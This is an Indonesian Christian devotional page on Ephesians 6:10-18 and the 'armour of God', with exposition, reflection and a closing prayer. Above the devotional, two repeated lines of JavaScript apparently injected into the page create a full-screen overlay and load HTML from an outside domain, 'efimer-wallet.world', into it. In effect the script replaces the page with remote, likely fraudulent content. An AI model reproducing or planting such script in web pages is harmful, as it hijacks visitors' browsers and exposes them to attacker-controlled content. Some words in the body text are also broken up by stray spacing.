const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
Selasa, 01 Agustus 2023
Efesus 6 : 10 -18
Pengantar
Untuk pergi berperang, rupanya tidak cukup bagi para prajurit hanya bermodalkan kekuatan. Walaupun fisik kuat tetapi tidak ditopang dengan perlengkapan senjata perang, maka pasukan itu akan mudah dikalahkan. Perlengkapan itu tidaklah mudah untuk dipakai. Ada bobot yang berat di setiap perlengkapan prajurit. Perlengkapan itu bukan hanya memastikan mereka lebih aman, tetapi juga membuat mereka terlihat lebih gagah dan tentunya menjadi sangat meyakinkan u ntu k men gh ad ap i mu s u h . Pau l u s men g gu n akan penggambaran perlengkapan senjata tersebut untuk mengajarkan tentang gaya hidup di dalam Kristus.
Pemahaman
Ayat 10-12 : Mengapa harus menggunakan perlengkapan senjata Allah?
Ayat 13-18 : Apa saja perlengkapan senjata Allah itu?
Keberadaan Paulus yang pada saat penulisan surat ini s e d a n g b e ra d a d i p e n j a ra s a n gat m e wa r n a i ca ra penyampaiannya kepada jemaat di Efesus. Paulus pada waktu itu ditangkap dan dimasukkan ke dalam penjara karena dianggap menentang dan merusak tatanan kepercayaan karena menyebarkan Injil di wilayah-wilayah kerajaan Romawi. Namun dengan segala peristiwa yang sudah dialami oleh Paulus pada masa itu, tidak membuatnya menjadi patah semangat. Ia tetap memberitakan Firman Tuhan melalui surat-surat yang dikirimkannya. Salah satunya kepada jemaat di Efesus.
Berdasarkan pengamatan atas kondisi pada saat itu, maka Paulus menggambarkan kehidupan beriman tidak jauh berbeda seperti orang yang ingin pergi berperang. Melalui penggambaran ini, Paulus ingin menyadarkan banyak orang bahwa iman bukanlah sebatas anugerah yang Tuhan berikan, juga bukan hanya sekadar pemahaman belaka, tetapi iman itu harus tumbuh dan terlihat di dalam kehidupan sehari-hari. Seperti seorang prajurit yang akan pergi berperang, maka pakaian perang yang dikenakannya adalah identitas bagi dirinya. Begitu juga dengan kehidupan beriman yang seharusnya mampu ditampilkan oleh orang-orang percaya.
Jemaat di Efesus bukanlah jemaat yang mengalami kesulitan secara internal. Mereka mampu mengembangkan persekutuan mereka. Tantangan eksternal yang berupa ancaman dari pemerintah Romawi menjadi satu masalah besar yang mereka hadapi. Akan tetapi, Paulus menasehati jemaat di Efesus agar mereka mampu menghadapi setiap masalah dengan iman. Maka, Paulus menganjurkan cara hidup dengan mengenakan perlengkapan senjata Allah untuk menunjukkan identitas kita sebagai orang percaya yang harus mengalahkan kehidupan yang jauh dari Tuhan dan juga untuk melawan godaan.
Paulus menekankan bahwa dengan istilah “perlengkapan senjata Allah” tidak berarti perlawanan dilakukan dengan cara yang sama seperti orang yang sedang berperang. Paulus ingin menunjukkan bahwa yang menjadi lawan adalah tipu muslihat iblis, yang juga sudah memberi pengaruh terhadap banyak orang terkhusus bagi mereka yang hidupnya berbalik dari Tuhan. Hal ini tentu berkaitan dengan kondisi keseharian yang pernah dialami oleh Paulus pada masa itu. Paulus ingin agar setiap orang percaya mengenakan perlengkapan senjata Allah, yang artinya adalah setiap orang harus rindu untuk diperlengkapi oleh Tuhan di seluruh hidupnya. Dari anggota tubuh yang paling atas sampai paling bawah, semuanya diperhatikan oleh Tuhan. Tidak ada satu pun yang akan luput dari pandangan-Nya. Maka, perlengkapan senjata Allah merupakan karunia yang sudah Tuhan berikan dan inilah cara-Nya untuk menjaga kita dari berbagai godaan yang datang.
Refleksi
Melalui semua pemahaman tersebut, kita menjadi sadar bahwa seberapa besar pun usaha kita untuk memperkuat diri kita dari berbagai godaan, tidak akan pernah sempurna apabila kita tidak mampu merasakan keterlibatan Tuhan yang juga setia menjaga dan menopang kita. Keselamatan adalah anugerah yang sudah Tuhan berikan dan untuk itu, kini waktunya kita sungguh-sungguh mengoptimalkan “perlengkapan senjata Allah” yang sudah Dia berikan kepada kita. Marilah kita hidup dalam kebenaran, keadilan, kerelaan dalam memberitakan Injil damai sejahtera, iman, keselamatan, dan Firman Allah.
Tekadku
Tuhan yang penuh kasih, ajarkanlah kami untuk menyerahkan hidup kami ke dalam tangan-Mu, karena hanya bersama-Mu, kami diperlengkapi selamanya.
Tindakanku
Saya tidak akan membiarkan hati dan pikiran saya jatuh ke dalam godaan.